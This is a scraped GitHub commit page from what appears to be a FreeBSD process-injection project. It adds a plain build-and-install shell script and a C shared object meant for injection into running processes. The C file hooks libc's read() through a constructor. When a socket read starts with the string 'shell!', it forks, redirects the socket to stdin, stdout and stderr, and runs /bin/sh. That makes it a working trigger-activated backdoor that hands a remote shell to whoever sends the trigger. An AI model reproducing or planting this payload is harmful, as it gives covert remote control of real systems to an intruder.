Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Conflicts: freebsd_tests64/InjectSharedObject.c freebsd_tests64/Makefile freebsd_tests64/test.asm freebsd_tests64/testso.c src/Makefile src/ptrace.c
- Loading branch information
Showing
31 changed files
with
1,185 additions
and
261 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
#!/usr/bin/env bash | ||
|
||
OS=$(uname -s) | ||
ARCH=$(uname -m) | ||
|
||
# Prefer clang, deprecate gcc | ||
CC=$(which clang) | ||
#CC=$(which gcc) | ||
if [ ${#CC} -eq 0 ]; then | ||
CC="gcc" | ||
fi | ||
|
||
PREFIX="/usr" | ||
if [ ${OS} = "FreeBSD" ]; then | ||
PREFIX="/usr/local" | ||
fi | ||
|
||
MAKE="make" | ||
if [ ${OS} = "FreeBSD" ]; then | ||
MAKE="gmake" | ||
fi | ||
|
||
build() { | ||
cd src | ||
|
||
${MAKE} PREFIX=${PREFIX} OS=${OS} ARCH=${ARCH} CC=${CC} $1 | ||
ret=$? | ||
|
||
cd .. | ||
return $ret | ||
} | ||
|
||
install() { | ||
if [ ${UID} -gt 0 ]; then | ||
echo "ERROR: Must be root to install. Exiting." | ||
return 1 | ||
fi | ||
|
||
build install | ||
return $? | ||
} | ||
|
||
uninstall() { | ||
if [ ${UID} -gt 0 ]; then | ||
echo "ERROR: Must be root to deinstall. Exiting." | ||
return 1 | ||
fi | ||
|
||
build deinstall | ||
return $? | ||
} | ||
|
||
case $1 in | ||
build) | ||
build | ||
exit $? | ||
;; | ||
install) | ||
install | ||
exit $? | ||
;; | ||
clean) | ||
build clean | ||
exit $? | ||
;; | ||
deinstall|uninstall) | ||
uninstall | ||
exit $? | ||
;; | ||
help) | ||
echo "USAGE: ${0} [build|install|deinstall]" | ||
exit 1 | ||
;; | ||
*) | ||
build clean | ||
if [ ! $? -eq 0 ]; then | ||
exit $? | ||
fi | ||
build | ||
exit $? | ||
;; | ||
esac |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <unistd.h> | ||
#include <dlfcn.h> | ||
#include <unistd.h> | ||
|
||
#include <sys/types.h> | ||
#include <sys/socket.h> | ||
#include <netinet/in.h> | ||
#include <netdb.h> | ||
#include <arpa/inet.h> | ||
#include <signal.h> | ||
#include <sys/wait.h> | ||
|
||
static void *dl; | ||
ssize_t (*orig_read)(int, void *, size_t); | ||
|
||
__attribute__((constructor)) void stub(void) | ||
{ | ||
dl = dlopen("/lib/libc.so.7", RTLD_LAZY | RTLD_GLOBAL); | ||
orig_read = dlsym(dl, "read"); | ||
|
||
} | ||
|
||
void sigchld(int signo) | ||
{ | ||
while (waitpid(-1, NULL, WNOHANG) > 0) | ||
; | ||
} | ||
|
||
/* | ||
* Fork a shell and re-use the current socket | ||
*/ | ||
ssize_t read(int socket, void *buffer, size_t length) | ||
{ | ||
ssize_t ret; | ||
FILE *fp; | ||
char filename[1024+1]; | ||
|
||
ret = orig_read(socket, buffer, length); | ||
if (ret < strlen("shell!\n")) | ||
return ret; | ||
if (memcmp(buffer, "shell!", strlen("shell!"))) | ||
return ret; | ||
|
||
if (fork()) | ||
return 0; | ||
setsid(); | ||
if (fork()) | ||
return 0; | ||
|
||
dup2(socket, fileno(stdin)); | ||
dup2(socket, fileno(stdout)); | ||
dup2(socket, fileno(stderr)); | ||
execl("/bin/sh", "sh", NULL); | ||
|
||
return -1; | ||
} |
Oops, something went wrong.